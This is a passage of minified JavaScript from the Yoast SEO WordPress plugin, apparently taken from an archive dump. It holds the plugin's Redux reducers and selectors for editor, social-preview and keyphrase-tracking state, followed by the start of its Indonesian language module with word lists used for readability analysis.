category","wordpress-seo"),value:""},{name:"sep",label:(0,si.__)("Separator","wordpress-seo"),value:""},{name:"excerpt_only",label:(0,si.__)("Excerpt only","wordpress-seo"),value:""},{name:"category_description",label:(0,si.__)("Category description","wordpress-seo"),value:""},{name:"tag_description",label:(0,si.__)("Tag description","wordpress-seo"),value:""},{name:"term_description",label:(0,si.__)("Term description","wordpress-seo"),value:""},{name:"currentyear",label:(0,si.__)("Current year","wordpress-seo"),value:""}],uniqueRefreshValue:"",templates:{title:"",description:""},isLoading:!0}}(),t){switch(t.type){case nr:return{...e,mode:t.mode};case ir:return{...e,data:{...e.data,...t.data}};case or:return function(e,t){let r=!0,n=e.replacementVariables.map((e=>e.name===t.name?(r=!1,{name:t.name,label:t.label||e.label,value:t.value,hidden:e.hidden}):e));return r&&(n=function(e,t){return e.push({name:t.name,label:t.label||li(t.name),value:t.value}),e}(n,t)),{...e,replacementVariables:n}}(e,t);case cr:return function(e,t){const r={},n=e.replacementVariables.map((e=>{const n=t.updatedVariables[e.name];return n?(r[e.name]=!0,{name:e.name,label:n.label||e.label,value:n.value,hidden:e.hidden}):e}));return Object.keys(t.updatedVariables).forEach((e=>{r[e]||n.push({name:e,label:t.updatedVariables[e].label||li(e),value:t.updatedVariables[e].value,hidden:!1})})),{...e,replacementVariables:n}}(e,t);case ar:return function(e,t){const r=t.results.filter((t=>!e.replacementVariables.some((e=>e.name==="cf_"+t.key))));if(0===r.length)return e;const n=[...r.map((e=>({name:"cf_"+ui(e.key),label:oi(e.key+" (custom field)"),value:e.value,hidden:!1}))),...e.replacementVariables];return{...e,replacementVariables:n}}(e,t);case lr:{const r=e.replacementVariables.map((e=>({name:e.name,label:e.label,value:e.value,hidden:t.data.includes(e.name)})));return{...e,replacementVariables:r}}case ur:return{...e,replacementVariables:e.replacementVariables.filter((e=>e.name!==t.name))};case dr:return{...e,uniqueRefreshValue:t.time};case pr:return{...e,wordsToHighlight:t.wordsToHighlight};case Er:return{...e,data:{...e.data,title:t.data.title,description:t.data.description,slug:t.data.slug},templates:{...e.templates,title:t.templates.title,description:t.templates.description},isLoading:!1}}return e},twitterEditor:(e=di,t)=>{switch(t.type){case vr:return{...e,title:t.title,description:t.description,image:{id:t.id,url:t.imageUrl}};case fr:return{...e,title:t.title};case Dr:return{...e,description:t.description};case Or:return{...e,image:{id:t.image.id,url:t.image.url,alt:t.image.alt||""},warnings:t.image.warnings};case Pr:return{...e,image:{url:"",id:"",alt:""},warnings:[]};default:return e}},warning:function(e=pi,t){return t.type===Yr?{...e,message:t.message}:e},WincherModal:function(e=Ei,t){switch(t.type){case Xr:return{whichModalOpen:"none",hasNoKeyphrase:!0};case Qr:return{...e,hasNoKeyphrase:!1,whichModalOpen:t.location};case $r:return{...e,whichModalOpen:"none",hasNoKeyphrase:!1}}return e},WincherRequest:function(e=gi,t){switch(t.type){case nn:return{...e,limitReached:!1,isSuccess:!1,response:null,isNewlyAuthenticated:!1};case en:return{...e,isSuccess:!0,response:t.response};case tn:return{...e,isSuccess:!1,response:t.response};case rn:return{...e,limitReached:!0,limit:t.limit};case sn:return{...e,isLoggedIn:t.loginStatus,isNewlyAuthenticated:t.newlyAuthenticated};case an:return{...e,trackAll:t.trackAll};case on:return{...e,automaticallyTrack:t.automaticallyTrack};default:return e}},WincherSEOPerformance:function(e=mi,t){switch(t.type){case mn:return{...e,websiteId:t.websiteId};case Sn:return{...e,trackedKeyphrases:{...e.trackedKeyphrases,...t.keyphraseObject}};case Tn:return{...e,trackedKeyphrases:(0,i.pickBy)(e.trackedKeyphrases,((e,r)=>r!==t.untrackedKeyphrase))};case yn:return{...e,trackedKeyphrases:t.trackedKeyphrases}}return e},[D]:b};function Si(){const e=Yn();return(0,i.get)(e,"contentLocale","en_US")}const Ti=e=>(0,i.get)(e,"insights.estimatedReadingTime",0),yi=e=>(0,i.get)(e,"insights.fleschReadingEaseScore",null),wi=e=>(0,i.get)(e,"insights.fleschReadingEaseDifficulty",null),Ii=e=>null!==yi(e)&&null!==wi(e),Ai=e=>(0,i.get)(e,"insights.textLength",{}),Ri=()=>{const e="en"===Si().split("_")[0],t=Yn().isPremium;return!!e&&(!t||window.wp.data.select("yoast-seo-premium/editor").hasOwnProperty("getTextFormalityLevel"))},hi=e=>(0,i.get)(e,"AIButton.activeAIButton",""),fi=e=>(0,i.get)(e,"AIButton.disabledAIButtons",{}),Di=e=>(0,i.get)(e,"advancedSettings.noIndex",""),Oi=e=>(0,i.get)(e,"advancedSettings.noFollow",""),Pi=e=>(0,i.get)(e,"advancedSettings.advanced",""),vi=e=>(0,i.get)(e,"advancedSettings.breadcrumbsTitle","summary"),bi=e=>(0,i.get)(e,"advancedSettings.canonical",""),Ci=e=>(0,i.get)(e,"advancedSettings.isLoading",!0),Ni="yoast-measurement-element";function Li(e){let t=document.getElementById(Ni);return t||(t=function(){const e=document.createElement("div");return e.id=Ni,e.style.position="absolute",e.style.left="-9999em",e.style.top=0,e.style.height=0,e.style.overflow="hidden",e.style.fontFamily="arial, sans-serif",e.style.fontSize="20px",e.style.fontWeight="400",document.body.appendChild(e),e}()),t.innerText=e,t.offsetWidth}function Mi(e){return e.editorContext}function ki(e){return"Page"===(0,i.get)(e,"editorContext.postTypeNameSingular")?"page":"post"}function Ui(e){return"Product"===(0,i.get)(e,"editorContext.postTypeNameSingular")}function Wi(e){const t=(0,i.get)(e,"editorContext.termType");return"product_cat"===t||"product_tag"===t}function Fi(e){return(0,i.get)(e,"editorContext.isBlockEditor",!1)}function Ki(e){return(0,i.get)(e,"editorContext.isElementorEditor",!1)}function Bi(e){return(0,i.get)(e,"editorContext.isFrontPage",!1)}function xi(e){return(0,i.get)(e,"editorContext.isTerm",!1)}function Hi(e){return["draft","auto-draft"].includes((0,i.get)(e,"editorContext.postStatus",""))}function Gi(e){return Ki(e)?"elementorEditor":Fi(e)?"blockEditor":"classicEditor"}function Vi(e){return(0,i.get)(e,"editorContext.contentLocale","en_US")}const qi=window.wp.hooks,Yi=e=>(0,i.get)(e,"editorData.content",""),ji=e=>(0,i.get)(e,"editorData.title",""),$i=e=>(0,i.get)(e,"editorData.excerpt"),Qi=e=>{let t=(0,i.get)(e,"editorData.excerpt","");if(""===t){const r="ja"===Si()?80:156;t=function(e,t=156){return(e=(e=(0,ai.stripTags)(e)).trim()).length<=t||(e=e.substring(0,t),/\s/.test(e)&&(e=e.substring(0,e.lastIndexOf(" ")))),e}((0,i.get)(e,"editorData.content",""),r)}return t},Xi=e=>(0,i.get)(e,"editorData.imageUrl",""),zi=e=>{const t=[{featuredOrFirstImage:(0,i.get)(e,"editorData.imageUrl","")},{socialImage:(0,i.get)(window,"wpseoScriptData.metabox.social_image_template","")},{siteWideImage:(0,i.get)(window.wpseoScriptData,"metabox.showSocial.facebook")&&(0,i.get)(e,"settings.socialPreviews.sitewideImage","")}];(0,qi.applyFilters)("yoast.socials.imageFallback",t);for(const e of t)if(Object.values(e)[0])return Object.values(e)[0];return""},Ji=e=>(0,i.get)(e,"editorData.slug","");function Zi(e){return(0,i.get)(e,"focusKeyword","")}const es=e=>{const t=(0,qi.applyFilters)("yoast.focusKeyphrase.errors",[],Zi(e));return(0,i.isArray)(t)?t.filter(i.isString):[]},ts=e=>(0,i.get)(e,"settings.socialPreviews.siteName",""),rs=e=>(0,i.get)(e,"settings.snippetEditor.baseUrl",""),ns=e=>(0,i.get)(e,"settings.snippetEditor.date",""),is=e=>(0,i.get)(e,"settings.snippetEditor.recommendedReplacementVariables",[]),ss=e=>(0,i.get)(e,"settings.snippetEditor.siteIconUrl",""),as=e=>(0,i.get)(e,"snippetEditor.replacementVariables",[]),os=e=>(0,i.get)(e,"snippetEditor.templates",{title:"",description:""}),cs=e=>(0,i.get)(e,"snippetEditor.mode","mobile"),ls=e=>(0,i.get)(e,"snippetEditor.data.title",""),us=e=>(0,i.get)(e,"snippetEditor.data.title","")||os(e).title,ds=e=>(0,i.get)(e,"snippetEditor.data.description",""),ps=e=>ds(e)||os(e).description,Es=e=>(0,i.get)(e,"snippetEditor.data.slug",""),gs=e=>(0,i.get)(e,"snippetEditor.data",{title:ls(e),description:ds(e),slug:Es(e)}),ms=e=>(0,i.get)(e,"snippetEditor.wordsToHighlight",[]),_s=e=>(0,i.get)(e,"snippetEditor.isLoading",!0),Ss=e=>(0,i.get)(e,"snippetEditor.data.snippetPreviewImageURL",""),Ts=e=>(0,i.get)(e,"analysisData.snippet.title",""),ys=e=>(0,i.get)(e,"analysisData.snippet.description",""),ws=e=>(0,i.get)(e,"analysisData.snippet.url",""),Is=e=>parseInt((0,i.get)(e,"analysisData.timestamp",0),10),As=e=>(0,i.get)(e,"analysisData.shortcodesForParsing",[]),Rs=e=>{const t=Ts(e)||ls(e),r=Es(e);return{text:Yi(e),title:t,keyword:Zi(e),description:ys(e)||ds(e),locale:Vi(e),titleWidth:Li(t),slug:r,permalink:rs(e)+r}};function hs(e){return e.isCornerstone}function fs(e){return e.checklist.checklistItems}function Ds(e,t){return e.currentPromotions.promotions.includes(t)}const Os=(e,t)=>(0,i.get)(e,"editorModals.openedModal","")===t,Ps=e=>(0,i.get)(e,"socialPreviews.contentImage",""),vs=e=>{const t=[{featuredImage:(0,i.get)(e,"snippetEditor.data.snippetPreviewImageURL","")},{contentImage:(0,i.get)(e,"settings.socialPreviews.contentImage","")},{socialImage:(0,i.get)(window,"wpseoScriptData.metabox.social_image_template","")},{siteWideImage:(0,i.get)(window,"wpseoScriptData.metabox.showSocial.facebook")&&(0,i.get)(e,"settings.socialPreviews.sitewideImage","")}];(0,qi.applyFilters)("yoast.socials.imageFallback",t);for(const e of t)if(Object.values(e)[0])return Object.values(e)[0];return""},bs=()=>{let e=(0,i.get)(window,"wpseoScriptData.metabox.base_url","");return""===e?"":(e=new URL(e),e.host)},Cs=()=>(0,i.get)(window,"wpseoScriptData.metabox.title_template",""),Ns=()=>(0,i.get)(window,"wpseoScriptData.metabox.title_template_no_fallback",""),Ls=()=>(0,i.get)(window,"wpseoScriptData.metabox.social_title_template",""),Ms=()=>(0,i.get)(window,"wpseoScriptData.metabox.metadesc_template",""),ks=()=>(0,i.get)(window,"wpseoScriptData.metabox.social_description_template",""),Us=e=>{let t="";return(0,i.get)(e,"snippetEditor.replacementVariables",[]).forEach((e=>{"excerpt"===e.name&&(t=e.value)})),t},Ws=e=>(0,i.get)(e,"facebookEditor.title",""),Fs=e=>(0,i.get)(e,"facebookEditor.description",""),Ks=e=>(0,i.get)(e,"facebookEditor.image.url"),Bs=e=>(0,i.get)(e,"facebookEditor.image.src",""),xs=e=>(0,i.get)(e,"facebookEditor.image.alt",""),Hs=e=>(0,i.get)(e,"facebookEditor.warnings",[]),Gs=(0,n.createSelector)([Ls,Ts,Ns,Cs],((...e)=>e.find(Boolean)||"")),Vs=(0,n.createSelector)([Ws,Gs],((e,t)=>e||t)),qs=(0,n.createSelector)([ks,ys,Ms,Us,Qi],((...e)=>{var t;return null!==(t=e.find(Boolean))&&void 0!==t?t:""})),Ys=(0,n.createSelector)([Fs,qs],((e,t)=>e||t));function js(e){return e.activeMarker}function $s(e){return e.isMarkerPaused}function Qs(e){return"enabled"===e.marksButtonStatus}function Xs(e){return e.marksButtonStatus}function zs(e,t){return!0===e.dismissedAlerts[t]}const Js=(e,t,r=null)=>(0,i.get)(e,`preferences.${t}`,r),Zs=e=>e.preferences,ea=e=>(0,i.get)(e,"preferences.isKeywordAnalysisActive",!1),ta=e=>Js(e,"isWooCommerceActive",!1),ra=e=>Js(e,"isWooCommerceSeoActive",!1),na=e=>{const t=ra(e),r=ta(e),n=Ui(e);return!t&&r&&n},ia=e=>{const t=ra(e),r=ta(e),n=Wi(e);return!t&&r&&n};function sa(e,t){return e.primaryTaxonomies[t]}const aa=[],oa={};function ca(e){const t=(0,i.get)(e,"analysis.seo",oa);return(0,i.isEmpty)(t)?{results:aa,overallScore:null}:t}function la(e,t){const r=ca(e);return(0,i.get)(r,t,oa)}function ua(e){const t=(0,i.get)(e,"analysis.readability",{});return(0,i.isEmpty)(t)?{results:aa,overallScore:null}:t}function da(e){return(0,i.get)(e,"analysis.inclusiveLanguage",{results:aa,overallScore:null})}function pa(e){return la(e,e.focusKeyword)}function Ea(e,t){return[...pa(e).results||aa,...ua(e).results||aa,...da(e).results||aa].find((e=>e._identifier===t))}function ga(e){return e.marksButtonStatus}const ma=e=>(0,i.get)(e,"schemaTab.defaultPageType",""),_a=e=>(0,i.get)(e,"schemaTab.pageType",""),Sa=e=>(0,i.get)(e,"schemaTab.defaultArticleType",""),Ta=e=>(0,i.get)(e,"schemaTab.articleType","");function ya(e){return e.SEMrushModal.whichModalOpen}function wa(e){return e.SEMrushModal.displayNoKeyphraseMessage}function Ia(e){return e.SEMrushRequest.isRequestPending}function Aa(e){return e.SEMrushRequest.isSuccess}function Ra(e){return e.SEMrushRequest.response}function ha(e){return e.SEMrushRequest.limitReached}function fa(e){return e.SEMrushRequest.keyphrase}function Da(e){return e.SEMrushRequest.countryCode}function Oa(e){return e.SEMrushRequest.hasData}function Pa(e){return e.SEMrushRequest.isLoggedIn}const va=e=>(0,i.get)(e,"shoppingData",{}),ba=e=>(0,i.get)(e,"twitterEditor.title",""),Ca=e=>(0,i.get)(e,"twitterEditor.description",""),Na=e=>(0,i.get)(e,"twitterEditor.image.url",""),La=e=>(0,i.get)(e,"settings.socialPreviews.twitterCardType","summary"),Ma=e=>(0,i.get)(e,"twitterEditor.image.src",""),ka=e=>(0,i.get)(e,"twitterEditor.image.alt",""),Ua=e=>(0,i.get)(e,"twitterEditor.warnings",[]),Wa=(0,n.createSelector)([Ls,Ws,Ts,Ns,Cs],((...e)=>e.find(Boolean)||"")),Fa=(0,n.createSelector)([ba,Wa],((e,t)=>e||t)),Ka=(0,n.createSelector)([ks,Fs,ys,Ms,Us,Qi],((...e)=>{var t;return null!==(t=e.find(Boolean))&&void 0!==t?t:""})),Ba=(0,n.createSelector)([Ca,Ka],((e,t)=>e||t));function xa(e){return(0,i.get)(e,"warning.message",[])}function Ha(e){return e.WincherModal.whichModalOpen}function Ga(e){return e.WincherModal.hasNoKeyphrase}function Va(e){return e.WincherRequest.isSuccess}function qa(e){return e.WincherRequest.response}function Ya(e){return e.WincherRequest.limitReached}function ja(e){return e.WincherRequest.isLoggedIn}function $a(e){return e.WincherRequest.isNewlyAuthenticated}function Qa(e){return e.WincherRequest.limit}function Xa(e){return e.WincherRequest.historyDays}function za(e){return!0===e.WincherRequest.trackAll}function Ja(e){return e.WincherRequest.automaticallyTrack&&Hi(e)}function Za(e){return e.WincherSEOPerformance.websiteId}function eo(e){return e.WincherSEOPerformance.trackedKeyphrases}function to(e){return!(0,i.isEmpty)(e.WincherSEOPerformance.trackedKeyphrases)}function ro(e){const t=Yn().isPremium,r=window.wp.data.select("yoast-seo-premium/editor"),n=[e.focusKeyword.trim()];return t&&r&&n.push(...r.getKeywords().filter((e=>void 0!==e.keyword)).map((e=>e.keyword.trim()))),(0,i.uniq)(n.filter((e=>!!e)).map((e=>e.replace(/["+:\s]+/g," ").trim().toLocaleLowerCase()))).sort()}function no(e){const{trackedKeyphrases:t}=e.WincherSEOPerformance;return!(0,i.isEmpty)(t)&&(0,i.filter)(t,(e=>(0,i.isEmpty)(e.updated_at))).length===Object.keys(t).length}function io(e){const t=Rs(e);return t.slug?t.permalink:""}const so=e=>(0,i.get)(e,"isPremium",!1),ao=e=>(0,i.get)(e,"postId",null),{selectAdminUrl:oo,selectAdminLink:co}=o,{selectLinkParams:lo,selectLinkParam:uo,selectLink:po}=E,{selectPluginUrl:Eo,selectImageLink:go}=y,{selectWistiaEmbedPermission:mo,selectWistiaEmbedPermissionValue:_o,selectWistiaEmbedPermissionStatus:So,selectWistiaEmbedPermissionError:To}=P;window.yoast=window.yoast||{},window.yoast.externals=window.yoast.externals||{},window.yoast.externals.redux={selectors:r,reducers:_i,actions:t,utils:{createFreezeReducer:(e,t)=>{let r=!1,n=null;return{freezeReducer:(i=t,s)=>r?n:e(i,s),toggleFreeze:(e,t=!r)=>{n=t?(0,i.cloneDeep)(e()):null,r=Boolean(t)}}},createSnapshotReducer:(e,t)=>{let r,n=!1,s=!1;return{snapshotReducer:(i=t,s)=>n?(n=!1,r):e(i,s),takeSnapshot:(e,t)=>{t({type:"CREATE_SNAPSHOT"}),r=(0,i.cloneDeep)(e()),s=!0},restoreSnapshot:e=>{s&&(n=!0,e({type:"RESTORE_SNAPSHOT"}))}}}}}})();wordpress-seo/js/dist/languages/id.js000064400000053210147510273070013646 0ustar00(()=>{"use strict";var a={d:(i,e)=>{for(var n in e)a.o(e,n)&&!a.o(i,n)&&Object.defineProperty(i,n,{enumerable:!0,get:e[n]})},o:(a,i)=>Object.prototype.hasOwnProperty.call(a,i),r:a=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(a,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(a,"__esModule",{value:!0})}},i={};a.r(i),a.d(i,{default:()=>pa});const e=window.yoast.analysis,n=["sebuah","seorang","sang","si","satu","dua","tiga","empat","lima","enam","tujuh","delapan","sembilan","sepuluh","sebelas","seratus","seribu","sejuta","semiliar","setriliun","ini","itu","hal","ia"],s=["adakalanya","agak","agar","akhirnya","alhasil","andaikan","bahkan","bahwasannya","berikut","betapapun","biarpun","biasanya","contohnya","dahulunya","diantaranya","dikarenakan","disebabkan","dulunya","faktanya","hasilnya","intinya","jadi","jua","juga","kadang-kadang","kapanpun","karena","karenanya","kedua","kelak","kemudian","kesimpulannya","khususnya","langsung","lantaran","maka","makanya","masih","memang","meski","meskipun","misalnya","mulanya","nantinya","nyatanya","pendeknya","pertama","ringkasnya","rupanya","seakan-akan","sebaliknya","sebelum","sebetulnya","sedangkan","segera","sehingga","sekali-sekali","sekalipun","sekiranya","selagi","selain","selama","selanjutnya","semasa","semasih","semenjak","sementara","semula","sepanjang","serasa","seraya","seringkali","sesungguhnya","setelahnya","seterusnya","setidak-tidaknya","setidaknya","sewaktu-waktu","sewaktu","tadinya","tentunya","terakhir","terdahulu","terlebih","ternyata","terpenting","terutama","terutamanya","tetapi","umpamanya","umumnya","utamanya","walau","walaupun","yaitu","yakni","akibatnya","hingga","kadang","kendatipun","ketiga","lainnya","manakala","namun","pastinya","pertama-tama","sampai-sampai","sebaliknya","sebelumnya","sebetulnya","sesekali"],t=s.concat(["agar supaya","akan tetapi","apa lagi","asal saja","bagaimanapun juga","bahkan jika","bahkan lebih","begitu juga","berbeda dari","biarpun begitu","biarpun demikian","bilamana saja","cepat atau lambat","dalam hal ini","dalam jangka panjang","dalam kasus ini","dalam kasus lain","dalam kedua kasus","dalam kenyataannya","dalam pandangan","dalam situasi ini","dalam situasi seperti itu","dan lagi","dari awal","dari pada","dari waktu ke waktu","demikian juga","demikian pula","dengan serentak","dengan cara yang sama","dengan jelas","dengan kata lain","dengan ketentuan","dengan nyata","dengan panjang lebar","dengan pemikiran ini","dengan syarat bahwa","dengan terang","di pihak lain","di sisi lain","dibandingkan dengan","disebabkan oleh","ditambah dengan","hanya jika","harus diingat","hasil dari","hingga kini","kalau tidak","kalau-kalau","kali ini","kapan saja","karena alasan itulah","karena alasan tersebut","kecuali kalau","kendatipun begitu","kendatipun demikian","lebih jauh","lebih lanjut","maka dari itu","meskipun demikian","oleh karena itu","oleh karenanya","oleh sebab itu","pada akhirnya","pada awalnya","pada dasarnya","pada intinya","pada kenyataannya","pada kesempatan ini","pada mulanya","pada saat ini","pada saat","pada situasi ini","pada umumnya","pada waktu yang sama","pada waktunya","paling tidak","pendek kata","penting untuk disadari","poin penting lainnya","saat ini","sama halnya","sama pentingnya","sama sekali","sampai sekarang","sebab itu","sebagai akibatnya","sebagai contoh","sebagai gambaran","sebagai gantinya","sebagai hasilnya","sebagai tambahan","sebelum itu","secara bersamaan","secara eksplisit","secara keseluruhan","secara keseluruhan","secara khusus","secara menyeluruh","secara signifikan","secara singkat","secara umum","sejalan dengan ini","sejalan dengan itu","sejauh ini","sekali lagi","sekalipun begitu","sekalipun demikian","sementara itu","seperti yang bisa dilihat","seperti yang sudah saya katakan","seperti yang sudah saya tunjukkan","sesudah itu","setelah ini","setelah itu","tak pelak lagi","tanpa menunda-nunda lagi","tentu saja","terutama sekali","tidak perlu dipertanyakan lagi","tidak sama","tidak seperti","untuk alasan ini","untuk alasan yang sama","untuk memperjelas","untuk menekankan","untuk menyimpulkan","untuk satu hal","untuk sebagian besar","untuk selanjutnya","untuk tujuan ini","walaupun demikian","yang lain","yang terakhir","yang terpenting","begitu pula","berbeda dengan","betapapun juga","dalam hal itu","di samping itu","hal pertama yang perlu diingat","kadang kala","karena itu","lagi pula","lambat laun","mengingat bahwa","meskipun begitu","pada umumnya","pada waktu","saat ini juga","sampai saat ini","sebagian besar","secara terperinci","selain itu","seperti yang sudah dijelaskan","seperti yang tertera di","tak seperti","tanpa memperhatikan","tentu saja","untuk memastikan","untuk menggambarkan","walaupun begitu"]);function u(a){let i=a;return a.forEach((e=>{(e=e.split("-")).length>0&&e.filter((i=>!a.includes(i))).length>0&&(i=i.concat(e))})),i}const r=["si","sang","kaum","sri","hang","dang","para"],d=["nol","satu","dua","tiga","empat","lima","enam","tujuh","delapan","sembilan","sepuluh","sebelas","seratus","seribu","sejuta","semiliar","setriliun"],k=["kesatu","pertama","kedua","ketiga","keempat","kelima","keenam","ketujuh","kedelapan","kesembilan","kesepuluh","kesebelas","keseratus","keseribu"],l=["aku","saya","engkau","kau","kamu","anda","kita","kami","kalian","ia","dia","beliau","mereka","dikau","daku","beta","sayalah","engkaulah","kaulah","kamulah","andalah","kitalah","kamilah","kalianlah","dialah","kamu-kamu","saya-saya","mereka-mereka","beliau-beliau","anda-anda","mereka-merekalah","beliau-beliaulah","kamu-kamulah","anda-andalah"],m=["yang"],g=["ini","itu","tersebut","tadi","inilah","itulah"],p=["milikku","milikmu","miliknya","punyanya","punyaku","punyamu","kepunyaannya","kepunyaanmu","kepunyaanku"],h=["belasan","puluhan","ribuan","miliaran","triliunan","setengah","seperdua","sepertiga","seperempat","seperlima","seperenam","sepertujuh","seperdelapan","sepersembilan","sepersepuluh","sedikit","setiap","banyak","semua","lebih","kurang","sebagian","cukup","beberapa","berpuluh-puluh","beratus-ratus","beribu-ribu","berjuta-juta","ratusan","paling","tiap-tiap"],o=["diriku","dirinya","dirimu"],b=["lain","lainnya","seseorang","sesuatu","siapa-siapa","apa-apa","semuanya","segalanya","seluruhnya","keduanya","ketiganya","ketiga-tiganya","kedua-duanya","dua-duanya","tiga-tiganya","masing-masing","apapun","siapapun","manapun","sedemikian","demikian"],y=["apa","manakah","mana","apanya","inikah","itukah","manalagi"],c=["siapa","siapakah","kamukah","andakah","sayakah","akukah","diakah","merekakah","engkaukah","kamikah","kitakah","beliaukah","iakah","dirinyakah","dirikukah","siapatah","siapalah","siapanya"],f=["bagaimana","mengapa","kenapa","kapan","berapa","kapankah","berapakah","bagaimanakah","apakah","kapanpun","apatah","apalah","berapatah","berapalah","mengapakah","mengapatah","mengapalah","kenapakah","kenapatah","kenapalah","kapantah","kapanlah","manatah","mananya","manalah","bagaimanatah","bagaimanalah","bilamana","bilamanakah","bilamanatah","bilamananya","bilamanalah","keberapa","mampukah","beginikah","begitukah"],j=["selalu","sekali","berkali-kali"],S=["dapat","dapatkah","bisa","bisakah","boleh","bolehkah","akan","akankah","bukan","dapatlah","bisatah","bisanya","bisalah","bolehtah","bolehnya","bolehlah","akantah","akannya","akanlah","harus","haruskah","harustah","harusnya","haruslah","bukankah","bukantah","bukannya","bukanlah","mungkin","mungkinkah","mungkintah","mungkinlah","belum","belumkah","belumlah","sudah","sudahkah","sudahlah","takkan","masih","masihkah","pernah","pernahkah"],w=["adalah","ialah","merupakan","ada","berada"],W=["antara","seantero","bagai","bagaikan","bagi","buat","dari","demi","dengan","di","terhadap","menjelang","ke","kecuali","sekeliling","mengenai","sekitar","melalui","selama","lepas","lewat","oleh","selewat","pada","sepanjang","per","seputar","bersama","sejak","semenjak","seperti","serta","tentang","menuju","menurut","untuk","tanpa","adapun","antar","diantara","silam","lalu","selaku","melalui","sebagai","bahwasanya"],x=["atas","bawah","dalam","luar","depan","belakang","sebelah","samping"],P=["dan","atau","lalu","kemudian","serta","sedangkan","sementara","sambil","seraya","ataupun","ataukah"],N=["maupun","bukan","begitu","baru","hanya"],v=["setelah","sehabis","sejak","sampai","ketika","waktu","tatkala","saat","kalau","jika","jikalau","bila","bilamana","apabila","asal","asalkan","seandainya","andaikata","sekiranya","karena","sebab","lantaran","gara-gara","mentang-mentang","kalau-kalau","supaya","agar","guna","sehingga","hingga","sampai","sebelum","sesudah","meski","meskipun","kendati","kendatipun","walau","walaupun","sekalipun","biarpun","sungguhpun","padahal","seakan-akan","seolah-olah","daripada","alih-alih","melainkan","apalagi","bahwa","saja"],R=["kata","bilang","berkata","mengeklaim","bertanya","menayakan","menyatakan","tanya","klaim","jelas","jelaskan","menjelaskan","dijelaskan","ditanya","pikir","berpikir","berbicara","membicarakan","mengumumkan","diumumkan","dibicarakan","mendiskusikan","menyarankan","disarankan","mengerti"],O=["sangat","amat","terlalu","terlampau","sungguh","serba","agak","begitu","demikian","makin","semakin","kian","tambah","bertambah","begini","amatlah"],B=["ada","punya","milik","terlihat","kelihatan","mari","marilah","membuat","dibuat","menunjukkan","ditunjukkan","pergi","ambil","diambil","meletkakkan","letakkan","ambilkan","mencoba","dicoba","bermakna","berarti","terdiri","memastikan","dipastikan","mengandung","termasuk","maknanya","artinya","ingin","inginkan"],E=["terbesar","besar","terkecil","kecil","terbaru","baru","tertua","tua","lalu","semudah","termudah","mudah","cepat","jauh","susah","keras","panjang","rendah","pendek","tinggi","biasa","simpel","kebanyakan","baru-baru","lagi","selesai","mungkin","umum","baik","buruk","bagus","utama","sama","tertentu","biasanya","spesifik","langsung","dekat","terbaru","berbeda","beda","sibuk","terkini","penting","terpenting","sebesar","sekecil","setua","termuda","semuda","muda","tercepat","secepat","termudah","semudah","terjauh","sejauh","tersusah","sesusah","terkeras","sekeras","sepanjang","terpanjang","terpendek","sependek","terbiasa","tersimpel","sesimpel","terbaik","sebaik","terburuk","seburuk","sebagus","terbagus","terutama","terdekat","sedekat","tersibuk","sepenting","lambat","terlambat","luas","terluas","seluas","keren","tersedia","cepat-cepat","erat-erat","betul-betul","diam-diam","keras-keras","jauh-jauh","secepat-cepatnya","baik-baik","sebaik-baiknya","sekeras-kerasnya","lekas-lekas","selekas-lekasnya","tinggi-tinggi","setinggi-tingginya","seberat-beratnya","sejauh-jauhnya","sedikit-dikitnya","sekurang-kurangnya","setidak-tidaknya","sedapat-dapatnya","seenak-enaknya","seenaknya","seadanya","sekenanya","selambat-lambatnya","selebih-lebihnya","sedikitnya","sepenuhnya","besar-besaran","kecil-kecilan","habis-habisan","mati-matian","terang-terangan","terus-terusan","untung-untungan","kesekian","berdua-dua","bertiga-tiga","berdua","bertiga","berempat","berlima","berenam","bertujuh","berdelapan","bersembilan","bersepuluh","bersebelas","berseratus","berseribu","berduaan","agaknya","sepenting-pentingnya","sepanjang-panjangnya","spesifik","spesial","semuda-mudanya","setua-tuanya","seburuk-buruknya","seluas-luasnya","terlebih","selamanya","selama-lamanya","mampu","begini","beginilah","begitu","begitulah","sebegini","sebegitu","semula","pasti","pastilah","pastinya","dini","sedini","sering","seringnya","jarang","terbanyak"],F=["bah","cis","ih","idih","sialan","buset","aduh","waduh","duh","aduhai","amboi","asyik","wah","syukur","alhamdulillah","untung","aduh","aih","aih","lo","duilah","eh","oh","ah","astaga","astagfirullah","masyaallah","masa","alamak","gila","ayo","yuk","mari","hai","he","hai","halo"],M=["sdm","sdt","gr","kg","cm","mg","ml","l","dl","cl","ons","lbr","cc","bh","ltr","pon"],T=["detik","menit","jam","detik-detik","menit-menit","jam-jam","hari","hari-hari","minggu","minggu-minggu","bulan","bulan-bulan","tahun","tahun-tahun","besok","kemarin","lusa","malam-malam","siang-siang","subuh","bedug","keesokan"],A=["cara","barang","masalah","bagian","bagian-bagian","aspek","aspek-aspek","ide","item","tema","hal","perkara","faktor","faktor-faktor","detil","perbedaan","adanya","beginian","rupanya","diri"],C=["tidak","iya","tak","tentu","ok","oke","amin","dll","maaf","tolong","mohon","jangan","sebagainya","hanya","cuma","jangankan","janganlah","tolonglah"],$=(u(["lah","pun","dong","kan","sih","toh","nah","lho","kok","ding"]),u([].concat(k,["sebuah","seorang","seekor","sebiji","selembar","secarik","sehelai","sebutir","sebatang","sebidang","sebentuk","sebilah","sekuntum","sepatah","sepucuk","setangkai","seutas","sebelah","segenggam","segugus","sepiring","sejenis","semacam","sepotong","setetes","suatu"])),u([].concat(r,P,g,O,p,["bu","pak","bang","nak","kak","dik"])),u([].concat(j,l,o,F,d,S,w,R,B,b,N,v,y,c,f,["putus-putusnya","jemu-jemunya","jera-jeranya","puas-puasnya","bosan-bosannya","henti-hentinya","berhenti-hentinya"],C,x,M,T,A,E,m,W,h,s)),u([].concat(r,d,k,g,p,o,l,h,b,y,c,f,x,j,S,w,W,P,N,v,R,["yakni","yaitu","artinya","awalnya","akhirnya","makanya","malahan","malah","memang","nantinya","nanti","pula","seketika","sekarang","benar-benar","kadang","justru","tetapi","tapi"],O,B,F,E,M,A,C,["tuan","nyonya","nona","bang","pak","bu","bang","kak","prof","gus","ning","kyai","ustad","ustadzah","nyai","raden","tengku"],m,s,T))),_=[["baik","maupun"],["bukan","melainkan"],["bukan","tetapi"],["bukannya","melainkan"],["bukannya","tetapi"],["tidak","melainkan"],["tidak","tetapi"],["tidak hanya","tetapi 